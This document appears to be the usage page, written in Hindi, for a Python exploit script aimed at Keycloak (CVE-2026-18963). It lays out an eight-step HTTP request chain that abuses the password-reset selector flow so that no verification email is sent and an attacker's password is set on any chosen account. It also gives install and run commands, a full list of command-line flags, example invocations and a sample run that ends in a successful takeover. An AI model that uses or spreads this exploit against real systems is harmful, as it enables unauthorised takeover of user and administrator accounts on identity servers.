1. GET  /realms/{realm}/protocol/openid-connect/auth
         → OIDC सत्र स्थापित करें, forgot-password लिंक निकालें

2. GET  /login-actions/reset-credentials?...
         → reset-credentials फॉर्म लोड करें

3. POST tryAnotherWay=on
         → AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED नोट सेट करता है (बग 1)

4. POST username={target}  →  सेलेक्टर फॉर्म
         → लक्षित उपयोगकर्ता को ऑथ सत्र से बांधता है, ईमेल चरण ट्रिगर करता है

5. GET  /login-actions/restart?...
         → वैकल्पिक: ब्राउज़र सत्र पोलिंग को मिरर करें

6. GET  /login-actions/reset-credentials?...  (चरण 2 के समान URL)
         → पुराना सेलेक्टर नोट अभी भी मौजूद है → क्रेडेंशियल सेलेक्टर फिर से प्रकट होता है

7. POST username={target}  →  पुराना सेलेक्टर
         → ResetCredentialEmail नोट देखता है, context.success() कॉल करता है (बग 2)
         → फ्लो सीधे UPDATE_PASSWORD पर आगे बढ़ता है — कोई ईमेल नहीं भेजा जाता

8. POST password-new={attacker_password}
         → खाता अधिग्रहित

python3 -m pip install requests

python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

--url              Keycloak बेस URL (आवश्यक)
--realm            लक्षित realm (डिफ़ॉल्ट: master)
--username         अधिग्रहण करने के लिए खाते का उपयोगकर्ता नाम या ईमेल (आवश्यक)
--new-password     लक्षित खाते पर सेट करने के लिए पासवर्ड (आवश्यक)
--client-id        OIDC क्लाइंट ID (डिफ़ॉल्ट: account)
--auth-prefix      auto | new | old
                     auto = स्वचालित रूप से पता लगाएं (डिफ़ॉल्ट)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      पूर्ण HTTP ट्रेस प्रिंट करें
--skip-version-check

# पुराने/नए Keycloak URL उपसर्ग का स्वचालित पता लगाना
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# लीगेसी /auth/ उपसर्ग को बलपूर्वक लागू करें (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# वर्बोज़ HTTP ट्रेस
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

  CVE-2026-18963  |  Keycloak अनधिकृत खाता अधिग्रहण
  उपयोगकर्ता : [email protected]

[चरण 0] संस्करण और पथ उपसर्ग का पता लगाना
[+] पथ उपसर्ग: '/auth'  →  पता चला
[?] संस्करण का पता नहीं चला — फिर भी आगे बढ़ रहे हैं।

  लक्ष्य : https://sso.example.com/auth/realms/myrealm

[चरण 1] OIDC forgot-password लिंक के माध्यम से reset-credentials फॉर्म खोलें
[+] OIDC सत्र स्थापित
[+] Reset-credentials फॉर्म लोड हुआ

[चरण 2] POST tryAnotherWay=on  →  सेलेक्टर नोट सेट करें (बग 1)
[+] क्रेडेंशियल सेलेक्टर फॉर्म प्राप्त हुआ

[चरण 3] POST username='[email protected]'  →  उपयोगकर्ता बांधें, ईमेल चरण ट्रिगर करें
[+] ईमेल चरण ट्रिगर हुआ — सत्र पोलिंग URL मिला

[चरण 4] GET सत्र पोलिंग पथ (वैकल्पिक)

[चरण 5] forgot-password URL पर फिर से जाएं  →  पुराना सेलेक्टर प्राप्त करें
[+] पुराना क्रेडेंशियल सेलेक्टर फॉर्म प्राप्त हुआ

[चरण 6] पुराने सेलेक्टर पर POST username  →  बायपास ट्रिगर करें (बग 2)
[+] बायपास सफल — update-password फॉर्म प्राप्त हुआ

[चरण 7] नया पासवर्ड सेट करें

============================================================
  [+] सफलता — खाता अधिग्रहण पूर्ण
  [+] लक्ष्य   : https://sso.example.com/auth/realms/myrealm
  [+] उपयोगकर्ता : [email protected]
  [+] पासवर्ड : Pwn3d2026!
============================================================